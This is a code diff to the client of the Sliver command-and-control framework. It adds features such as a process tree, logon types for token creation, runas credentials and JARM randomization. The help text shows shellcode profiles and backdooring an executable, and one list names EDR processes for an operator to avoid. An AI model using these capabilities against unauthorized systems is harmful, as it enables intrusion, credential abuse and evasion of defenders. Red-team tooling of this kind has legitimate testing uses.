|
||||
@@ -20,7 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -51,7 +50,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to %s\n", err)
|
||||
return
|
||||
|
||||
@@ -105,6 +105,9 @@ var (
|
||||
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
|
||||
|
||||
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
|
||||
|
||||
// Builders
|
||||
consts.BuildersStr: buildersHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -206,10 +209,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
|
||||
|
||||
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
|
||||
|
||||
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
|
||||
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
|
||||
`
|
||||
|
||||
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
|
||||
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
|
||||
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
@@ -464,10 +467,20 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
|
||||
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
|
||||
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
|
||||
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
|
||||
`
|
||||
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
|
||||
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
|
||||
You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
|
||||
Valid types are:
|
||||
|
||||
LOGON_INTERACTIVE
|
||||
LOGON_NETWORK
|
||||
LOGON_BATCH
|
||||
LOGON_SERVICE
|
||||
LOGON_UNLOCK
|
||||
LOGON_NETWORK_CLEARTEXT
|
||||
LOGON_NEW_CREDENTIALS
|
||||
`
|
||||
|
||||
getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
|
||||
@@ -701,6 +714,13 @@ the target extension must have either of these two sets of permissions:
|
||||
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
|
||||
|
||||
More information: https://github.com/mandatoryprogrammer/CursedChrome
|
||||
`
|
||||
|
||||
buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
|
||||
[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
|
||||
|
||||
External builders allow the Sliver server offload implant builds onto external machines.
|
||||
For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -70,6 +71,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
"Beacons",
|
||||
"IOCs",
|
||||
"Extensions",
|
||||
"First Contact",
|
||||
})
|
||||
for _, host := range hosts {
|
||||
var shortID string
|
||||
@@ -87,6 +89,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -33,10 +34,25 @@ import (
|
||||
|
||||
// InfoCmd - Display information about the active session
|
||||
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
var err error
|
||||
|
||||
// Check if we have an active target via 'use'
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
|
||||
idArg := ctx.Args.String("session")
|
||||
if idArg != "" {
|
||||
// ID passed via argument takes priority
|
||||
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
|
||||
} else {
|
||||
if session == nil && beacon == nil {
|
||||
session, beacon, err = use.SelectSessionOrBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
||||
@@ -49,11 +65,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
||||
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
|
||||
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
@@ -67,12 +86,16 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
||||
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
|
||||
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
|
||||
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
|
||||
@@ -68,6 +68,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
RandomizeJARM: !ctx.Flags.Bool("disable-randomized-jarm"),
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
@@ -70,7 +70,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
if len(aesEncryptKey)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES Key\n")
|
||||
con.PrintErrorf("Incorrect length of AES Key\n")
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -44,6 +44,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ip6 := ctx.Flags.Bool("ip6")
|
||||
tcp := ctx.Flags.Bool("tcp")
|
||||
udp := ctx.Flags.Bool("udp")
|
||||
numeric := ctx.Flags.Bool("numeric")
|
||||
|
||||
implantPID := getPID(session, beacon)
|
||||
activeC2 := getActiveC2(session, beacon)
|
||||
@@ -67,25 +68,21 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
|
||||
})
|
||||
con.PrintAsyncResponse(netstat.Response)
|
||||
} else {
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
|
||||
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
|
||||
const IPv4Strlen = 17
|
||||
addr := skaddr.Ip
|
||||
names, err := net.LookupAddr(addr)
|
||||
if err == nil && len(names) > 0 {
|
||||
addr = names[0]
|
||||
}
|
||||
if len(addr) > IPv4Strlen {
|
||||
addr = addr[:IPv4Strlen]
|
||||
}
|
||||
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
|
||||
}
|
||||
|
||||
@@ -98,8 +95,12 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
|
||||
if entry.Process != nil {
|
||||
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
|
||||
}
|
||||
srcAddr := lookup(entry.LocalAddr)
|
||||
dstAddr := lookup(entry.RemoteAddr)
|
||||
srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
|
||||
dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
|
||||
if !numeric {
|
||||
srcAddr = lookup(entry.LocalAddr)
|
||||
dstAddr = lookup(entry.RemoteAddr)
|
||||
}
|
||||
if entry.Process != nil && entry.Process.Pid == implantPID {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
|
||||
|
||||
@@ -28,6 +28,16 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var logonTypes = map[string]uint32{
|
||||
"LOGON_INTERACTIVE": 2,
|
||||
"LOGON_NETWORK": 3,
|
||||
"LOGON_BATCH": 4,
|
||||
"LOGON_SERVICE": 5,
|
||||
"LOGON_UNLOCK": 7,
|
||||
"LOGON_NETWORK_CLEARTEXT": 8,
|
||||
"LOGON_NEW_CREDENTIALS": 9,
|
||||
}
|
||||
|
||||
// MakeTokenCmd - Windows only, create a token using "valid" credentails
|
||||
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
@@ -38,6 +48,12 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
logonType := ctx.Flags.String("logon-type")
|
||||
|
||||
if _, ok := logonTypes[logonType]; !ok {
|
||||
con.PrintErrorf("Invalid logon type: %s\n", logonType)
|
||||
return
|
||||
}
|
||||
|
||||
if username == "" || password == "" {
|
||||
con.PrintErrorf("Pou must provide a username and password\n")
|
||||
@@ -48,10 +64,11 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil("Creating new logon session ...", ctrl)
|
||||
|
||||
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
LogonType: logonTypes[logonType],
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -36,8 +36,12 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
showWindow := ctx.Flags.Bool("show-window")
|
||||
process := ctx.Flags.String("process")
|
||||
arguments := ctx.Flags.String("args")
|
||||
netonly := ctx.Flags.Bool("net-only")
|
||||
|
||||
if username == "" {
|
||||
con.PrintErrorf("Please specify a username\n")
|
||||
@@ -54,6 +58,10 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Username: username,
|
||||
ProcessName: process,
|
||||
Args: arguments,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
HideWindow: !showWindow,
|
||||
NetOnly: netonly,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
|
||||
@@ -21,6 +21,7 @@ package processes
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -39,11 +40,11 @@ var (
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
@@ -51,13 +52,13 @@ var (
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
@@ -66,8 +67,8 @@ var (
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
@@ -131,6 +132,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
overflow := ctx.Flags.Bool("overflow")
|
||||
skipPages := ctx.Flags.Int("skip-pages")
|
||||
pstree := ctx.Flags.Bool("tree")
|
||||
|
||||
if pstree {
|
||||
var currentPID int32
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session != nil && session.PID != 0 {
|
||||
currentPID = session.PID
|
||||
} else if beacon != nil && beacon.PID != 0 {
|
||||
currentPID = beacon.PID
|
||||
}
|
||||
// Print the process tree
|
||||
sorted := SortProcessesByPID(ps.Processes)
|
||||
tree := NewPsTree(currentPID)
|
||||
for _, p := range sorted {
|
||||
tree.AddProcess(p)
|
||||
}
|
||||
con.PrintInfof("Process Tree:\n%s", tree.String())
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
@@ -270,3 +290,11 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// SortProcessesByPID - Sorts a list of processes by PID
|
||||
func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
|
||||
sort.Slice(ps, func(i, j int) bool {
|
||||
return ps[i].Pid < ps[j].Pid
|
||||
})
|
||||
return ps
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
package processes
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/xlab/treeprint"
|
||||
)
|
||||
|
||||
// A PsTree is a tree of *commonpb.Process
|
||||
type PsTree struct {
|
||||
printableTree treeprint.Tree // only used for rendering
|
||||
implantPID int32
|
||||
procTree *node // used to hold the tree structure
|
||||
}
|
||||
|
||||
type node struct {
|
||||
Value *commonpb.Process // The process information
|
||||
Children map[int32]*node // The children of this node
|
||||
Parent *node // The parent of this node
|
||||
}
|
||||
|
||||
// NewPsTree creates a new PsTree
|
||||
func NewPsTree(pid int32) *PsTree {
|
||||
return &PsTree{
|
||||
printableTree: treeprint.New(),
|
||||
implantPID: pid,
|
||||
procTree: &node{Value: &commonpb.Process{Pid: -1}},
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) insert(proc *commonpb.Process) {
|
||||
if n.Value == nil {
|
||||
n.Value = proc
|
||||
return
|
||||
}
|
||||
if parent := n.findParent(proc); parent != nil {
|
||||
if parent.Children == nil {
|
||||
parent.Children = make(map[int32]*node)
|
||||
}
|
||||
parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
|
||||
} else {
|
||||
if n.Children == nil {
|
||||
n.Children = make(map[int32]*node)
|
||||
}
|
||||
n.Children[proc.Pid] = &node{Value: proc, Parent: n}
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) findParent(proc *commonpb.Process) *node {
|
||||
if n.Value == nil {
|
||||
return nil
|
||||
}
|
||||
if n.Value.Pid == proc.Ppid {
|
||||
return n
|
||||
}
|
||||
for _, child := range n.Children {
|
||||
if p := child.findParent(proc); p != nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func reorder(root *node) {
|
||||
toDelete := make([]int32, 0)
|
||||
for pid, child := range root.Children {
|
||||
// skip root node
|
||||
if child.Value.Pid == -1 {
|
||||
continue
|
||||
}
|
||||
// Skip edge case of [System Process] on Windows
|
||||
if child.Value.Ppid == pid {
|
||||
continue
|
||||
}
|
||||
// only focus on children without parent
|
||||
if child.Parent.Value.Pid == -1 {
|
||||
if parent := root.findParent(child.Value); parent != nil {
|
||||
child.Parent = parent
|
||||
if parent.Children == nil {
|
||||
parent.Children = make(map[int32]*node)
|
||||
}
|
||||
// copy to new parent
|
||||
parent.Children[pid] = child
|
||||
// mark for deletion
|
||||
toDelete = append(toDelete, pid)
|
||||
}
|
||||
}
|
||||
}
|
||||
// delete children that were moved
|
||||
for _, pid := range toDelete {
|
||||
delete(root.Children, pid)
|
||||
}
|
||||
}
|
||||
|
||||
func (t *PsTree) AddProcess(proc *commonpb.Process) {
|
||||
t.procTree.insert(proc)
|
||||
}
|
||||
|
||||
func (t *PsTree) filterProc(proc *commonpb.Process) string {
|
||||
color := console.Normal
|
||||
if proc.Pid == t.implantPID {
|
||||
color = console.Green
|
||||
}
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
}
|
||||
return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
|
||||
}
|
||||
|
||||
func (t *PsTree) String() string {
|
||||
reorder(t.procTree)
|
||||
return t.Print()
|
||||
}
|
||||
|
||||
func (t *PsTree) Print() string {
|
||||
topLevelPIDs := make([]int, 0, len(t.procTree.Children))
|
||||
for k := range t.procTree.Children {
|
||||
topLevelPIDs = append(topLevelPIDs, int(k))
|
||||
}
|
||||
sort.Ints(topLevelPIDs)
|
||||
for _, pid := range topLevelPIDs {
|
||||
current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
|
||||
t.addToTree(current, t.procTree.Children[int32(pid)].Children)
|
||||
}
|
||||
return t.printableTree.String()
|
||||
|
||||
}
|
||||
|
||||
func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
|
||||
for pid, proc := range procs {
|
||||
if proc.Value.Pid == -1 {
|
||||
continue
|
||||
}
|
||||
procName := t.filterProc(proc.Value)
|
||||
|
||||
procNode := tree.FindByMeta(pid)
|
||||
if procNode == nil {
|
||||
if len(proc.Children) > 0 {
|
||||
procNode = tree.AddMetaBranch(pid, procName)
|
||||
} else {
|
||||
procNode = tree.AddMetaNode(pid, procName)
|
||||
}
|
||||
}
|
||||
t.addToTree(procNode, proc.Children)
|
||||
}
|
||||
}
|
||||
@@ -30,8 +30,9 @@ import (
|
||||
|
||||
// TerminateCmd - Terminate a process on the remote system
|
||||
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
con.PrintErrorf("No active session or beacon\n")
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -130,8 +130,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
@@ -178,7 +179,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
|
||||
|
||||
var rowEntries []string
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
if wideTermWidth {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
@@ -188,7 +189,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
|
||||
burned + SessionHealth,
|
||||
}
|
||||
} else {
|
||||
|
||||
@@ -215,6 +215,8 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
// ---------------------
|
||||
// Exec commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
|
||||
fallthrough
|
||||
case sliverpb.MsgExecuteAssemblyReq:
|
||||
execAssembly := &sliverpb.ExecuteAssembly{}
|
||||
err := proto.Unmarshal(task.Response, execAssembly)
|
||||
@@ -430,7 +432,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
|
||||
return
|
||||
}
|
||||
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
|
||||
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con)
|
||||
|
||||
// ---------------------
|
||||
// Privilege commands
|
||||
|
||||
@@ -1,10 +1,27 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"os"
|
||||
"path"
|
||||
@@ -94,7 +111,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
data, err := ioutil.ReadAll(file)
|
||||
data, err := io.ReadAll(file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
